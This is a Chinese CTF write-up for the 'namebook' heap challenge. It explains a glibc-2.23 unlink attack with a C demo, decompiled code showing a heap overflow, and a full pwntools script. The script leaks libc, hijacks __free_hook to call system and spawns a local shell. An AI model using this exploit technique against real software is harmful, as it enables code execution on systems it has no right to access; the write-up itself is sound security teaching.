源程序:http://file.eonew.cn/elf/namebook,IDA分析文件:
http://file.eonew.cn/ida/namebook.i64,该pwn题需要基本的unlink的知识,如果您不了解,可以去
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/简单了解下,本文部分借鉴自大佬
钞sir https://blog.csdn.net/qq_40827990/article/details/88257642的博客。下面的测试环境全是glibc-2.23,建议不要在glibc-2.26或更大的环境测试(因为tcache机制)。
目录
前言
在开始之前先用一段代码来简单的看看unlink的实现:
demo.c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
struct chunk_structure
{
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main()
{
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
struct chunk_structure *chunk1_hdr;
struct chunk_structure *chunk3_hdr;
// First grab two chunks (non fast)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);
printf("%p\n", &chunk1);
printf("%p\n", chunk1);
printf("%p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
chunk1_hdr = (struct chunk_structure *)(chunk1 - 2);
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("%p\n", chunk1);
printf("%x\n", chunk1[3]);
chunk3_hdr = (struct chunk_structure *)(chunk1 - 2);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
unlike确实有点抽象,可以用这个典型的unlike代码先进行调试,这样子可以对unlink有较好的理解,运行结果:
ex@ubuntu:~/test$ gcc -o demo demo.c
demo.c: In function ‘main’:
demo.c:51:12: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]
printf("%x\n", chunk1[3]);
^
ex@ubuntu:~/test$ ./demo
0x7ffc63f821e0
0x134d010
0x134d0a0
0x7ffc63f821c8
63f821c8
hacked!
简介
该pwn题主要考验对unlink的基本使用。
功能介绍
int print_menu()
{
setbuf(stdout, 0LL);
signal(14, handler);
alarm(0x3Cu);
puts("NameBook--v1.0");
puts("1.set name");
puts("2.delete name");
puts("3.get name");
puts("4.reset name");
return puts("5.exit");
}
主要是四个功能:set_name,delete_name,get_name,reset_name。
set_name
int set_name()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("index:");
v1 = get_number();
if ( v1 > 9 )
return puts("invalid range");
ptr[v1] = (char *)malloc(128uLL);
printf("name:");
gets_1((__int64)ptr[v1], 128u);
return puts("done.");
}
这里有个明显的off-by-one漏洞,理论上也可以用用这个漏洞来做,有能力的师傅可以尝试从这里切入。
gets_1
__int64 __fastcall gets_1(__int64 a1, unsigned int a2)
{
__int64 result; // rax
signed int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= a2 )
break;
if ( read(0, (void *)(i + a1), 1uLL) < 0 )
exit(-1);
if ( *(_BYTE *)(i + a1) == 10 )
{
result = i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
上面的输入程序可以溢出两字节,一个是off-by-one,一个是将最后一字节设为0。
delete_name
int delete_name()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("index:");
v1 = get_number();
if ( v1 > 9 || !ptr[v1] )
return puts("invalid range");
free(ptr[v1]);
ptr[v1] = 0LL;
return puts("done.");
}
这里将free后的指针设为NULL了,所以很难利用UAF漏洞。
get_name
int get_name()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("index:");
v1 = get_number();
if ( v1 > 9 || !ptr[v1] )
return puts("invalid range");
puts(ptr[v1]);
return puts("done.");
}
打印ptr[i]里面的内容,一般是用来泄露基地址的。
reset_name
int reset_name()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("index:");
v1 = get_number();
if ( v1 > 9 || !ptr[v1] )
return puts("invalid range");
printf("name:");
gets_1((__int64)ptr[v1], 256u);
return puts("done.");
}
重设内容,前面在set_name我们看到了申请的是128字节,但是这里却允许改256个字节,很明显这里存在堆溢出。
程序有什么漏洞呢?
该程序的漏洞主要集中在reset_name里的堆溢出,由于我们可以输入超过它自身chunk大小的字节数,所以可以覆盖到下一个chunk,这样就刚好有了unlink的基本条件。
exploit思路
- 使用unlink漏洞控制ptr指针
- 泄露基地址,计算system
- 劫持__free_hook
- getshell
使用unlink漏洞控制ptr指针
set_name(2,'')
set_name(3,'')
layout = [
p64(0), # fake_chunk->pre_size
p64(0x80), # fake_chunk->size
p64(ptr_addr - 3 * SIZE_T), # fake_chunk->fd. Ensures P->fd->bk == P
p64(ptr_addr - 2 * SIZE_T), # fake_chunk->bk. Ensures P->bk->fd == P
'a' * SIZE_T * 12, # padding
p64(0x80), # chunk2_hdr->prev_size. chunk1's data region size
p64(0x90) # chunk2_hdr->size. Unsetting prev_in_use bit
]
print(hexdump(flat(layout)))
reset_name(2,flat(layout))
delete_name(3)
劫持的是ptr[2]指针,具体原理可以参照上面的unlink实验代码。
泄露基地址,计算system
layout = [
'a' * (24 - SIZE_T * 2), # offset
p64(elf.got['exit']) # the ptr addr
]
reset_name(2,flat(layout))
log.info('Get the leak informaiton')
leak_info = get_name(0)
print(hexdump(leak_info))
leak_info = leak_info.ljust(8,'\x00')
libc_addr = u64(leak_info) - libc.symbols['exit']
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
# 使用gdb调试获取
__free_hook_offset = 0x3c67a8
__free_hook_addr = libc_addr + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))
如下所示__free_hook的地址偏移需要根据不同的环境自己计算,具体的计算方式如下:
ex@ubuntu:~/test$ gdb ./namebook
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./namebook...(no debugging symbols found)...done.
pwndbg> b main
Function "main" not defined.
pwndbg> b *0x400B9D
Breakpoint 1 at 0x400b9d
pwndbg> r
Starting program: /home/ex/test/namebook
Breakpoint 1, 0x0000000000400b9d in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x400b9d ◂— push rbp
RBX 0x0
RCX 0x0
RDX 0x7fffffffe438 —▸ 0x7fffffffe6b9 ◂— 'LC_PAPER=zh_CN.UTF-8'
RDI 0x1
RSI 0x7fffffffe428 —▸ 0x7fffffffe6a2 ◂— '/home/ex/test/namebook'
R8 0x400c90 ◂— ret
R9 0x7ffff7de7ac0 (_dl_fini) ◂— push rbp
R10 0x8e
R11 0x7ffff7b95300 ◂— in al, dx
R12 0x400780 ◂— xor ebp, ebp
R13 0x7fffffffe420 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x400c20 ◂— push r15
RSP 0x7fffffffe348 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
RIP 0x400b9d ◂— push rbp
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x400b9d push rbp
0x400b9e mov rbp, rsp
0x400ba1 mov eax, 0
0x400ba6 call 0x400948
0x400bab mov edi, 0x3e
0x400bb0 call 0x400718
0x400bb5 mov eax, 0
0x400bba call 0x4008f0
0x400bbf cmp eax, 5
0x400bc2 ja 0x400c0a
0x400bc4 mov eax, eax
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe348 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
01:0008│ 0x7fffffffe350 ◂— 0x1
02:0010│ 0x7fffffffe358 —▸ 0x7fffffffe428 —▸ 0x7fffffffe6a2 ◂— '/home/ex/test/namebook'
03:0018│ 0x7fffffffe360 ◂— 0x1f7ffcca0
04:0020│ 0x7fffffffe368 —▸ 0x400b9d ◂— push rbp
05:0028│ 0x7fffffffe370 ◂— 0x0
06:0030│ 0x7fffffffe378 ◂— 0xa0975abb1ff25e54
07:0038│ 0x7fffffffe380 —▸ 0x400780 ◂— xor ebp, ebp
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 400b9d
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint *0x400B9D
pwndbg> p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ffff7dd37a8 <__free_hook>
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/ex/test/namebook
0x601000 0x602000 r--p 1000 1000 /home/ex/test/namebook
0x602000 0x603000 rw-p 1000 2000 /home/ex/test/namebook
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0
0x7ffff7ff8000 0x7ffff7ffa000 r--p 2000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p/x 0x7ffff7dd37a8 - 0x7ffff7a0d000
$2 = 0x3c67a8
pwndbg>
这个方法比较笨,或许pwntools有函数可以直接获得。
劫持__free_hook
# 将__free_hook 设置为 system
layout = [
'a' * (24 - SIZE_T * 2), # offset
p64(__free_hook_addr)
]
reset_name(2,flat(layout))
reset_name(0,p64(system_addr))
unlink之后偏移了24个字节,由于劫持的ptr[2],所以还要向前偏移2个机器字长(前面的两个指针),然后才能覆盖到ptr[0]。
get_shell
# get_shell
sh.sendline('2\n4')
下面的完整代码会显示在刚开始的时候我们就将ptr[4]设为'/bin/sh',所以这里可以直接使用。
完整代码
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
sh = process('./namebook')
elf = ELF('./namebook')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = "debug"
# 全局ptri[2]指针
ptr_addr = 0x602040 + 8 * 2
# 机器字长
SIZE_T = 8
log.info('&ptr[2]_addr: ' + hex(ptr_addr))
def set_name(index, name):
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(name)
sh.recvuntil('>')
def delete_name(index):
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil('>')
def get_name(index):
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))
result = sh.recvuntil('>')
return result[:-8]
def reset_name(index, name):
sh.sendline('4')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(name)
sh.recvuntil('>')
sh.recvuntil('>')
set_name(4, '/bin/sh')
set_name(2, '')
set_name(3, '')
layout = [
p64(0), # fake_chunk->pre_size
p64(0x80), # fake_chunk->size
p64(ptr_addr - 3 * SIZE_T), # fake_chunk->fd. Ensures P->fd->bk == P
p64(ptr_addr - 2 * SIZE_T), # fake_chunk->bk. Ensures P->bk->fd == P
'a' * SIZE_T * 12, # padding
p64(0x80), # chunk2_hdr->prev_size. chunk1's data region size
p64(0x90) # chunk2_hdr->size. Unsetting prev_in_use bit
]
print(hexdump(flat(layout)))
reset_name(2, flat(layout))
delete_name(3)
layout = [
'a' * (24 - SIZE_T * 2), # offset
p64(elf.got['exit']) # the ptr addr
]
reset_name(2, flat(layout))
log.info('Get the leak informaiton')
leak_info = get_name(0)
print(hexdump(leak_info))
leak_info = leak_info.ljust(8, '\x00')
libc_addr = u64(leak_info) - libc.symbols['exit']
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
# 使用gdb调试获取
__free_hook_offset = 0x3c67a8
__free_hook_addr = libc_addr + __free_hook_offset
log.success('__free_hook_addr: ' + hex(__free_hook_addr))
# 将__free_hook 设置为 system
layout = [
'a' * (24 - SIZE_T * 2), # offset
p64(__free_hook_addr)
]
reset_name(2, flat(layout))
reset_name(0, p64(system_addr))
# get_shell
sh.sendline('2\n4')
sh.interactive()
运行结果:
ex@ubuntu:~/test$ ./exp.py
[+] Starting local process './namebook': pid 8561
[*] '/home/ex/test/namebook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x601ff8
[*] &ptr[2]_addr: 0x602050
00000000 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 00 │····│····│····│····│
00000010 38 20 60 00 00 00 00 00 40 20 60 00 00 00 00 00 │8 `·│····│@ `·│····│
00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000080 80 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00 │····│····│····│····│
00000090
[*] Get the leak informaiton
00000000 30 30 2f 37 aa 7f │00/7│··│
00000006
[+] libc_addr: 0x7faa372b9000
[+] system_addr: 0x7faa372fe390
[+] __free_hook_addr: 0x7faa3767f7a8
[*] Switching to interactive mode
index:$ echo hello world
hello world
$
总结
不会就多问问师傅们,或者自己上机调试一遍,实践出真知。